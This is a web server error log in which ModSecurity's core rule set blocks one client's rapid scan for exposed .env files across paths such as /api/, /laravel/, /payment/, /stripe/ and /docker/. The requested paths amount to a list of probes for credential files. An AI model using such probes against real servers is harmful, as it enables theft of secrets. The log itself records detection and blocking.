[Wed Mar 11 20:56:33.195539 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHI8SkCWy977yPh9ymvKgAAAAc"]
[Wed Mar 11 20:56:33.283003 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5ewAAAAY"]
[Wed Mar 11 20:56:33.283177 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5ewAAAAY"]
[Wed Mar 11 20:56:33.283340 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5ewAAAAY"]
[Wed Mar 11 20:56:33.306608 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHI8bVttqDN05FhB27I_AAAAAs"]
[Wed Mar 11 20:56:33.306781 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHI8bVttqDN05FhB27I_AAAAAs"]
[Wed Mar 11 20:56:33.306927 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHI8bVttqDN05FhB27I_AAAAAs"]
[Wed Mar 11 20:56:33.320441 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHI8eBvFsx28IYw-q9nEQAAAAg"]
[Wed Mar 11 20:56:33.320618 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHI8eBvFsx28IYw-q9nEQAAAAg"]
[Wed Mar 11 20:56:33.320759 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHI8eBvFsx28IYw-q9nEQAAAAg"]
[Wed Mar 11 20:56:33.358816 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHI8SkCWy977yPh9ymvKwAAAAc"]
[Wed Mar 11 20:56:33.359001 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHI8SkCWy977yPh9ymvKwAAAAc"]
[Wed Mar 11 20:56:33.359135 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHI8SkCWy977yPh9ymvKwAAAAc"]
[Wed Mar 11 20:56:33.395504 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHI8VHINoBDNij9jADMCgAAAAE"]
[Wed Mar 11 20:56:33.395673 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHI8VHINoBDNij9jADMCgAAAAE"]
[Wed Mar 11 20:56:33.395815 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHI8VHINoBDNij9jADMCgAAAAE"]
[Wed Mar 11 20:56:33.434073 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHI8U08hzg1BXieW_K34gAAAAI"]
[Wed Mar 11 20:56:33.434244 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHI8U08hzg1BXieW_K34gAAAAI"]
[Wed Mar 11 20:56:33.434401 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHI8U08hzg1BXieW_K34gAAAAI"]
[Wed Mar 11 20:56:33.443263 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5fAAAAAY"]
[Wed Mar 11 20:56:33.443408 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5fAAAAAY"]
[Wed Mar 11 20:56:33.443525 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHI8SvA7KL3vWbRrBM5fAAAAAY"]
[Wed Mar 11 20:56:33.460926 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /payment/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHI8SkCWy977yPh9ymvLAAAAAc"]
[Wed Mar 11 20:56:33.461066 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHI8SkCWy977yPh9ymvLAAAAAc"]
[Wed Mar 11 20:56:33.461338 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHI8SkCWy977yPh9ymvLAAAAAc"]
[Wed Mar 11 20:56:33.512285 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHI8bVttqDN05FhB27I_QAAAAs"]
[Wed Mar 11 20:56:33.512451 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHI8bVttqDN05FhB27I_QAAAAs"]
[Wed Mar 11 20:56:33.512600 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHI8bVttqDN05FhB27I_QAAAAs"]
[Wed Mar 11 20:56:33.527013 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHI8QGa7hTYdm05K1T1uQAAAAU"]
[Wed Mar 11 20:56:33.527185 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHI8QGa7hTYdm05K1T1uQAAAAU"]
[Wed Mar 11 20:56:33.527307 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHI8QGa7hTYdm05K1T1uQAAAAU"]
[Wed Mar 11 20:56:33.564486 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHI8U08hzg1BXieW_K34wAAAAI"]
[Wed Mar 11 20:56:33.564661 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHI8U08hzg1BXieW_K34wAAAAI"]
[Wed Mar 11 20:56:33.564803 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe/.env"] [unique_id "abHI8U08hzg1BXieW_K34wAAAAI"]
[Wed Mar 11 20:56:33.600892 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHI8SLTdk5HIxV82QLTwAAAAAQ"]
[Wed Mar 11 20:56:33.601057 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHI8SLTdk5HIxV82QLTwAAAAAQ"]
[Wed Mar 11 20:56:33.601192 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "abHI8SLTdk5HIxV82QLTwAAAAAQ"]
[Wed Mar 11 20:56:33.665617 2026] [authz_core:error] [pid 2634239] [client 185.177.72.60:51312] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Wed Mar 11 20:56:34.265981 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHI8qLYNbOGi8i_DeWmBwAAAAo"]
[Wed Mar 11 20:56:34.266182 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHI8qLYNbOGi8i_DeWmBwAAAAo"]
[Wed Mar 11 20:56:34.266837 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abHI8qLYNbOGi8i_DeWmBwAAAAo"]
